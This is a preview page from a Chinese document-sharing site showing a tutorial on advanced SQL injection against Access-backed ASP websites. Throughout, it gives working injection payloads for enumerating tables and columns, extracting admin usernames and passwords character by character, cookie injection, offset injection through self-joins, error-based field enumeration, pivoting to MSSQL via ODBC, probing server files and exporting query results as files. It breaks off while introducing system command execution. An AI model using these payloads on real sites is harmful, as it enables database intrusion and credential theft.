Access数据库注入高级玩法_第1页
Access数据库注入高级玩法_第2页
Access数据库注入高级玩法_第3页
Access数据库注入高级玩法_第4页
Access数据库注入高级玩法_第5页
全文预览已结束

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、Access 数据库注入高级玩法Access 数据库注入高级玩法,鉴于论坛的朋友要求,在这整理下,以飨读者。Access 数据库想对于MsSql 来说可谓小巫见大巫,但是 Acc 的数据库在目前国内还是有一定的市场,其注入也很灵活。相信你看完本文就会了解到 Access 也是很强大的。一,基础篇猜解表名,这里借用啊 D 的语句: and exists (select * from 表名) 猜解列名:and exists (select 字段 from 表名)UNION 法,在执行 union 之前建议进行下order by 这样会更快。联合查询:select name,password,id

2、from user union select user,pwd,uid from如果遇到 order by 错误提示,执行下 2 次union 可解决and 1=2 union select 1,2,3,4,5 from 表名 union select 1,2,3,4,5 from 表名爆指定表名内容:and 1=2 union select 1,2,3,4,5 from 表名ASCII 逐字解码法:1、猜解列长度猜解语句:and (select top 1 len(列名)from 表名)N and (select top 1 len(列名)from 表名)=N其中 N 是数字,变换这个N 的

3、值猜解列长度,例如:and (select top 1 len(列名)from 表名)1 and (select top 1 len(列名)from 表名)6如果一直猜到 6 都显示正常页面,猜到 7 的时候返回错误(大于 6 并且小于等于 7),那么该列的长度为 7。因为“top 1”的意思是把最靠前的 1 条记录给提取出来,所以如果要猜解第二条记录就该使用:select top 1 len(列名) from 表名where 列名 not in (select top 1 列名 from 表名) 2、ASCII 码分析法猜解用户和密码ASC()函数和Mid 函数例如:mid(列名,N,1)A

4、SC(mdi(列名,N,1)得到“列名”第N 位字符ASCII 码猜解语句为:and (select top 1 asc(mid(字段,1,1) from 数据库名)=ASC 码(通过转换工具换) 区间判断语句:“.between.and.”中文处理法:当 ASCII 转换后为“负数”使用abs()函数取绝对值。例:and (select top 1 abs(asc(mid(字段,1,1) from 数据库名)=ASC 码(通过转换工具换) ASCII 逐字解码法的应用:1、猜解表名:and (select count(*) from admin)0 2、猜解列名:and (select co

5、unt(列名) from 表名)0 3、猜解管理员用户个数:and (select count(*) from 表名)=1 返回正常,表中有一条记录。4、猜解管理员用户名的长度:and (select len(列名) from 表名)=1、=2、=3、=4。5、猜解管理员用户名:and (select count(*)from 表名 where (asc(mid(列名,1,1) between 30 and 130)0最后提交:and (select asc(mid(列名,1,1) from 表名)=ascii 的值6、猜解管理员的密码:按照上面的原理,只要把上面的语句中(asc(mid(列名

6、,1,1)的列名换成 PASSWORD 就能得到管理员的密码了。搜索型注入漏洞利用猜解语句: 关键字% and 1=1 and %=% 关键字% and 1=2 and %=%将 and 1=1 换成注入语句就可以了。cookie 注入语句: javascript:alert(document.cookie=id=+escape(44 and 1=1);javascript:alert(document.cookie=id=+escape(44 and 1=2);猜解语句:猜解长度:javascript:alert(document.cookie=id=+escape(44 and (sele

7、ct len(password) from admin)=16)猜解内容:javascript:alert(document.cookie=id=+escape(44 and (select asc(mid(username) from admin)=97)二,高级篇1,Acc 的偏移注入条件,知道一表名,一字段,一般来说 ID 字段还是有的。假如你知道 order by 出的列数是 20,那么,要知道admin 表里的字段数,可以这样, and 1=2 union select 1,2,3,4,5,6,7,8,* from admin 出错,继续,and 1=2 union select 1

8、,2,3,4,5,6,7,8,9,* from admin 逐一增加,直到返回正常这里要说下盲注,假如 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,* from admin返回正常,此时可能会爆出 admin 表的字段,取决于 admin 表的复杂程度和 RP假如到 15 时返回正常,说明admin 的字段数为 20-15=5 个,下面来自联,自联还有一个重要的条件就是admin 的字段数*2 20 但这条语句是合法的这个地方很关键,他为什么会是合法的语句,这个地方是技术核心 必须理解。前边是 22 后边是 20 怎么可能相等?因为 a.id 和

9、b.id 在 * 里是有的,那么计算机自动去掉重复的 保持集合里元素的唯一性,这样一来虽然查询效果一样,但是*里的字段排列顺序却被打乱了!先后两次打乱 很有可能让username password 偏移到可显示的位置。如果还没成功 怎么办?union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,* from (admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)union select 1,2,3,4,5,6,7,8,9,10,a.id,b.

10、id,c.id,d.id,* from (admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on a.id=d.id)2,having 语句,group by 语句在 Access 数据库里,也支持having 和 group by 语句,众所周知,这 2 个语句我们常用来枚举字段名的,在 Mssql 数据库中很好使。在acc 中就有些别扭了。这里分情况讨论,a:如果站点的Sql 查询语句为 select id,name,address

11、 from 表名,也就是说查询的是特定的字段数据,那么我们可以这么暴, productshow.asp?id=25 group by 1 having 1=1(数字型),如果字符型就 group by 1 having 1=1返回的错误:Microsoft JET Database Engine (0 x80040E21)试图执行的查询中不包含作为合计函数一部分的特定表达式 id 。爆出 id 字段,继续,productshow.asp?id=25 group by 1,id having 1=1返回错误:Microsoft JET Database Engine (0 x80040E21)试

12、图执行的查询中不包含作为合计函数一部分的特定表达式 email 。依次类推 productshow.asp?id=25 group by 1,id,email having 1=1b:如果站点的原来SQL 查询语句为select * from product where id=&ID&,那么执行上述语句就会返回这样的错误:Microsoft JET Database Engine 错误 80040e21不能将已选定 * 的字段中组合。/productshow.asp,行 18这时我们可以这样爆字段,productshow.asp?id=25 having sum(1)=1(数字型),字符型(

13、having sum(1)=1)返回的错误:Microsoft JET Database Engine 错误 80040e21试图执行的查询中不包含作为合计函数一部分的特定表达式 id 。/productshow.asp,行 18可以看出爆出了 ID但这样很有局限性,只能爆出第一个 id,其他的没办法了。那只能盲猜了。productshow.asp?id=25 and id=1 不报错,productshow.asp?id=25 and name=1 返回错误: Microsoft JET Database Engine 错误 80040e10至少一个参数没有被指定值。/productshow

14、.asp,行 18连接到MsSQL 数据库productshow.asp?id=25 and 1=2 union Select top 1 1,2,table_name from ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*;DataBase=rmation_schema.tables这样 master 库的第一个表名就出来了获得后面的表名也很简单union Select top 1 1,2,table_name from ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*;Da

15、taBase=rmation_schema.tables where table_name not in (select top 1 table_name from ODBC;Driver=SQLServer;UID=dbo;PWD=dba;Server=*;DataBase=rmation_schema.ta bles)如果数据库里的 ID 是字符型 union Select top 1 1,2,table_name from ODBC;Driver=SQLServer;UID=dbo;PWD=dba;Server=*;DataBase=maste

16、rmation_schema.tab les where 1=1返回的错误:Microsoft JET Database Engine 错误 80004005ODBC-连接到 SQL Server* 失败。如果这个错误返回延迟较长时间,说明 database 不允许连接,如果错误返回很快,没时间延迟,说明提供的账号或者密码有误。映射本地驱动器使用 in 语句,比如 productshow.asp?id=25 and 1=2 union select * from admin in .返回的错误:Microsoft JET Database Engine 错误 80004005Mic

17、rosoft Jet 数据库引擎打不开文件c:windowssystem32inetsrv。 它已经被别的用户以独占方式打开,或没有查看数据的权限。此查询可用于检测目录和文件,对于猜解网站目录很有用。再比如:productshow.asp?id=25 and 1=2 union select * from admin in C:windowsODBC.ini返回错误:Microsoft JET Database Engine 错误 80004005 不可识别的数据库格式 C:windowsODBC.INI。说明该文件存在,只是不是数据库。productshow.asp?id=25 and 1=

18、2 union select * from admin in C:windows123.ini返回错误:Microsoft JET Database Engine 错误 80004005找不到文件 C:windows123.ini。该文件不存在。写文件说到写文件,这里不得不提下 lake2 的那篇文章,SQL 注入Access 导出WebShell如果我们执行这样的语句:SELECT * into test.txt in d:web text; from adminSELECT * into test.txt in youripshare text; from admin在 d:web 目录下

19、就会生成test.txt 文件,其内容就是表 admin 的内容,这条语句要执行是要有一定的条件的,单句执行没什么问题,但是放到注入点里执行时,等待你的是 2 种结果:1.动作查询不能作为行为的来源。2,如果在子语句,会提示子语句不支持此查询,也就是说不能在子查询和 UNION 查询中,实用价值不大实属鸡肋。但是这个还是必须得知道的。执行系统命令首先有必要介绍一下沙盒模式为了安全起见,MS 在 Jet 引擎的Sp8 中,设置了一个名为SandBoxMode 的开关,这个开关是开启一些特殊函数在另外的执行者中执行的权限的.它的注册表位置在HKEY_LOCAL_MACHINESoftWareMicrosoftJet4

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论